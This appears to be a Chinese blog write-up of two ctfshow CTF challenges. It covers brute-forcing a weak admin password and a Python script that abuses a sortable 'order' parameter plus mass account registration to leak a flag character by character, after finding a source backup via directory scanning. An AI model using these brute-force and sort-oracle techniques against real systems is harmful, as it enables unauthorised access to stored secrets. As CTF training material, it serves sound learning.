ctfshow——萌新专属红包题、ctfshow web1

一、萌新专属红包题 wp

登录页面admin弱口令爆破,得到密码admin888

抓包用admin admin888发送,响应包拿到base64字符串,解密后得到flag

flag:ctfshow{b6223271-03a9-4e22-84db-9edae779967f}

二、ctfshow web1  wp

参考文章:ctf.show

2.1 信息收集

网页登录注册页面正常流程,登录后order参数可能存在sql注入

dirsearch扫描目录,www.zip,访问得到源码

2.2 代码分析

index.php 前端页面

login.php 后端登录,可以发现参数被严格过滤,sql注入基本没可能了

reg.php 注册页面,传入四个参数插入user表中,这里也被严格过滤了

user_main.php  登入后的用户信息回显,校验cookie的Session是否存在,order参数决定通过哪个参数升序回显

2.3 思路

当order=pwd时,页面排序密码回显,构造flag通过回显情况一个一个暴力破解出来

脚本:

import requests as r
from requests.packages import urllib3; urllib3.disable_warnings()
# verify=False 跳过HTTPS证书验证,会触发InsecureRequestWarning,urllib3方法就是把这个警告压掉

url_reg = 'https://f13931ef-c0c9-4b31-9005-60dd5a1df727.challenge.ctf.show/reg.php'
url_user = 'https://f13931ef-c0c9-4b31-9005-60dd5a1df727.challenge.ctf.show/user_main.php'

chars = '-0123456789abcdefghijklmnopqrstuvwxyz}~'

cookie = {'PHPSESSID': 'ed5dab00bfafe4bcd3da915c3de2d733'}  # 先手动注册一个用户,获取cookie,用于登录查看排序结果。

def check(flag):
    with r.Session() as s:
        for i in range(len(chars)):
            char = chars[i]
            data = {
                'username': flag + char,
                'password': flag + char,
                'email': 'email',
                'nickname': 'nickname',
            }
            s.post(url_reg, data=data, verify=False)
            resp_user = s.get(url_user, params={'order': 'pwd'}, verify=False, cookies=cookie)
            if resp_user.text.find(data['username']) > resp_user.text.find('flag'): 
                return chars[i-1]

flag = 'ctfshow{'
while flag[-1] != '}':
    flag =flag + check(flag)
    print(flag)
else:
    exit()

结果如下,因为flag=flag的时候,}不会被拼接,所以手动拼接即可

flag:ctfshow{bec80ad1-cf46-4b07-9f09-ff35f88af48bz}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值